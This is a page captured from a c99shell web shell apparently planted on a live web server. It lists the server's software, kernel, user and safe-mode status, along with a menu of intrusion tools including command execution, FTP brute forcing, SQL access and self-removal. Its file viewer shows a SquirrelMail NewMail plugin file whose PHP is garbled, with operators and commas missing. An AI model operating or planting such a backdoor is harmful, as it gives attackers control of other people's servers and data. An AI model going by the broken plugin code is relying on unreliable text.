!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/plugins/newmail/   drwxr-xr-x
Free 318.36 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     loadfile.php (3.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * SquirrelMail NewMail plugin
 *
 * Script loads user's media file.
 *
 * @copyright &copy; 2001-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: loadfile.php,v 1.7 2006/01/23 18:42:22 tokul Exp $
 * @package plugins
 * @subpackage newmail
 */

/**
 * define SM_PATH
 * @ignore
 */
define('SM_PATH','../../');

/** Load squirrelmail functions */
include_once(SM_PATH 'include/validate.php');
/** Load plugin functions */
include_once(SM_PATH 'plugins/newmail/functions.php');

sqgetGlobalVar('username',$username,SQ_SESSION);
global 
$data_dir;

$media getPref($data_dir,$username,'newmail_media''(none)');
// get other prefs
$newmail_userfile_type=getPref($data_dir,$username,'newmail_userfile_type',false);

$newmail_userfile_location=getHashedFile($username$data_dir$username '.sound');

if (
$newmail_uploadsounds && $newmail_userfile_type!=false && file_exists($newmail_userfile_location)) {
    
// open media file
    
$newmail_userfile_handle fopen($newmail_userfile_location,'rb');
    if (
$newmail_userfile_handle) {
        
$newmail_userfile_filesize filesize($newmail_userfile_location);
        
$newmail_userfile_contents fread($newmail_userfile_handle,$newmail_userfile_filesize);
        
fclose ($newmail_userfile_handle);

        
// user prefs use only integer values to store file type
        
switch($newmail_userfile_type) {
        case 
SM_NEWMAIL_FILETYPE_WAV:
            
// wav file
            
$newmail_userfile_contenttype='audio/x-wav';
            break;
        case 
SM_NEWMAIL_FILETYPE_MP3:
            
// mp3 file
            
$newmail_userfile_contenttype='audio/mpeg';
            break;
        case 
SM_NEWMAIL_FILETYPE_OGG:
            
// ogg file
            
$newmail_userfile_contenttype='application/ogg';
            break;
        case 
SM_NEWMAIL_FILETYPE_SWF:
            
// flash file
            
$newmail_userfile_contenttype='application/x-shockwave-flash';
            break;
        case 
SM_NEWMAIL_FILETYPE_SVG:
            
// svg file
            
$newmail_userfile_contenttype='image/svg+xml';
            break;
        default:
            
// none of above
            
$newmail_userfile_contenttype='unknown';
        }

        
// make sure that media file is in correct format
        
$newmail_userfile_extension=newmail_detect_filetype($newmail_userfile_contents,$newmail_userfile_contenttype);

        
// last check before sending file contents to browser.
        
if ($newmail_userfile_extension!=false) {
            
$newmail_send_filename='mediafile.' $newmail_userfile_extension;
            
header ('Content-Disposition: inline; filename="' $newmail_send_filename '"');
            
header('Content-Type: "' $newmail_userfile_contenttype .'"; ' .
                   
'name="' $newmail_send_filename '"');
            
header('Content-Length: ' $newmail_userfile_filesize );
            echo 
$newmail_userfile_contents;
            exit;
        } 
// file type detection failed
    
// failed to open userfile
// userfile is missing or preferences don't store file type.
// maybe we should send some error code
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0289 ]--